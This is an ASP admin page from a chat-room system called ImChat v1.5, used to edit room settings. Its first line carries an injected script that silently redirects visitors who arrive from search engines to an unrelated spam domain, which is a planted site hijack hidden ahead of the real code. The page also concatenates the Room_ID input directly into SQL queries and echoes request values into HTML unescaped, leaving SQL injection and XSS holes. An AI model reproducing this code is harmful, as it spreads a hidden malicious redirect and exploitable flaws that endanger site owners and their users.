d:\wwwroot\wuchunhua\liaotianim\system_manage\EditRoom.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="../inc/md5.asp"-->
003: <!--#include file="../inc/page.asp"-->
004: <!--#include file="Check.asp"-->
005: <%
006: Dim ConfigRS
007: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008: if request.form("Method")="AddRoom" then
009:     ConfigRS.OPEN "select * from [XK_Room] where [Room_ID]="&request.form("Room_ID") , DB_CONN , 1 , 3
010:     ConfigRS("Room_Name")=request.form("Room_Name")
011:     ConfigRS("Room_SmallNote")=request.form("Room_SmallNote")
012:     ConfigRS("Room_Notice")=request.form("Room_Notice")
013:     ConfigRS("IsLock")=request.form("IsLock")
014:     ConfigRS("Room_Pic")=request.form("Room_Pic")
015:     ConfigRS("IsVIP")=request.form("IsVIP")
016:     ConfigRS("IsVideo")=request.form("IsVideo")
017:     ConfigRS("Room_MaxNum")=request.form("Room_MaxNum")
018:     ConfigRS("Room_Sort")=request.form("Room_Sort")
019:     ConfigRS("Room_Admin_UserID")=request.form("Room_Admin_UserID")
020:     ConfigRS.update()
021:     for i=0 to (ConfigRS.Fields.count-1)
022:         Application.Lock()
023:         Application.contents("Rooms_"+request.form("Room_ID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
024:         Application.Unlock()
025:     next
026:     ConfigRS.close()
027:     RW "<script>alert('修改成功!');location.href='Room_Manage.asp';</script>":response.end()
028: end if
029:
030: if request.QueryString("t")="0" then
031:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsVip]=0 order by [Room_Sort] desc")
032: elseif request.QueryString("t")="1" then
033:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsVip]=1 order by [Room_Sort] desc")
034: else
035:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&request("Room_ID"))
036: end if
037:
038: %
>
039: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
040: <html xmlns="http://www.w3.org/1999/xhtml">
041: <head>
042: <title>ImChat v1.5 Manage System</title>
043: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
044: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
045: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
046: <style>
047: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
048: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
049: </style>
050: </head>
051: <body>
052: <div class="contentcontainer">
053:     <div class="headings alt">
054:         <h2>房间编辑&nbsp;&nbsp;&nbsp;<a href="javascript:history.back();" style="text-decoration:none;">返回</a>&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
055:     </div>
056:     <div class="contentbox">
057:         
058:         <form action="#" method="post" >
059:             <table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
060:                 <tr>
061:                     <td width="350">
062:                         <label for="Room_Name"><strong>房间名称:</strong></label>
063:                         <input type="text" id="Room_Name" name="Room_Name" class="inputbox" value="<%=ConfigRS("Room_Name")%>"/>
064:                     </td>
065:                     <td>
066:                         <label for="Room_SmallNote"><strong>房间简介:</strong></label>
067:                         <input type="text" id="Room_SmallNote" name="Room_SmallNote" class="inputbox" value="<%=ConfigRS("Room_SmallNote")%>"/>
068:                     </td>
069:                 </tr>
070:                 <tr>
071:                     <td width="350">
072:                         <label for="IsVip"><strong>特权房间:</strong></label>
073:                         <select id="IsVip" name="IsVip">
074:                             <option value="0" <%if Cstr(ConfigRS("IsVip"))="0" then RW "selected=""selected"""%>>普通</option>
075:                             <option value="1" <%if Cstr(ConfigRS("IsVip"))="1" then RW "selected=""selected"""%>>VIP</option>
076:                         </select>
077:                     </td>
078:                     <td>
079:                         <label for="Room_MaxNum"><strong>额定人数:(0为无限)</strong></label>
080:                         <input type="text" id="Room_MaxNum" name="Room_MaxNum" class="inputbox" value="<%=ConfigRS("Room_MaxNum")%>"/>
081:                     </td>
082:                 </tr>
083:                 <script>
084:                     function CPic(e)
085:                     {
086:                         document.getElementById("DisPic").src="../"+e.value;
087:                     }
088:                 </script>
089:                 <tr>
090:                     <td width="350">
091:                         <label for="Room_Pic"><strong>房间图片:</strong></label>
092:                         <select id="Room_Pic" name="Room_Pic" onchange="CPic(this);">
093:                             <option value="images/roompic/0.png">默认</option>
094:                             <%
095:                                 for i=1 to 9
096:                                     dim selected:selected=""
097:                                     if ConfigRS("Room_Pic")="images/roompic/"&i&".jpg" then selected="selected=""selected"""
098:                                     RW "<option value=""images/roompic/"&i&".jpg"" "&selected&">"&i&"</option>"
099:                                 next
100:                             %
>
101:                         </select>
102:                     </td>
103:                     <td>
104:                         <img id="DisPic" src="../<%=ConfigRS("Room_Pic")%>" width="100" />
105:                     </td>
106:                 </tr>
107:                 <tr>
108:                     <td width="350">
109:                         <label for="Room_Sort"><strong>排序(数字):</strong></label>
110:                         <input type="text" id="Room_Sort" name="Room_Sort" class="inputbox" value="<%=ConfigRS("Room_Sort")%>"/>
111:                     </td>
112:                     <td>
113:                         <label for="IsLock"><strong>状态:</strong></label>
114:                         <select id="IsLock" name="IsLock">
115:                             <option value="0" <%if Cstr(ConfigRS("IsLock"))="0" then RW "selected=""selected"""%>>正常</option>
116:                             <option value="1" <%if Cstr(ConfigRS("IsLock"))="1" then RW "selected=""selected"""%>>锁定</option>
117:                         </select>
118:                     </td>
119:                 </tr>
120:                 <tr>
121:                     <td>
122:                         <label for="IsVideo"><strong>视频:</strong></label>
123:                         <select id="IsVideo" name="IsVideo">
124:                             <option value="0" <%if Cstr(ConfigRS("IsVideo"))="0" then RW "selected=""selected"""%>>关闭</option>
125:                             <option value="1" <%if Cstr(ConfigRS("IsVideo"))="1" then RW "selected=""selected"""%>>开启</option>
126:                         </select>
127:                     </td>
128:                     <td>
129:                         <label for="Room_Admin_UserID"><strong>房主(用户ID):</strong></label>
130:                         <input type="text" id="Room_Admin_UserID" name="Room_Admin_UserID" class="inputbox" value="<%=ConfigRS("Room_Admin_UserID")%>"/>
131:                     </td>
132:                 </tr>
133:                 <tr>
134:                     <td colspan="2">
135:                         <label for="Room_Notice"><strong>房间公告:</strong></label>
136:                         <textarea id="Room_Notice" name="Room_Notice" rows="5" cols="100"><%=ConfigRS("Room_Notice")%></textarea>
137:                     </td>
138:                 </tr>
139:                 <tr>
140:                     <td colspan="2">
141:                         <input type="hidden" value="<%=request("Room_ID")%>" name="Room_ID"/>
142:                         <input type="hidden" value="AddRoom" name="Method"/>
143:                         <input type="submit" value="修改" class="btn" />
144:                     </td>
145:                 </tr>
146:             </table>
147:         </form>
148:     </div>
149: </div>
150: </body>
151: </html>
152:
153:
154: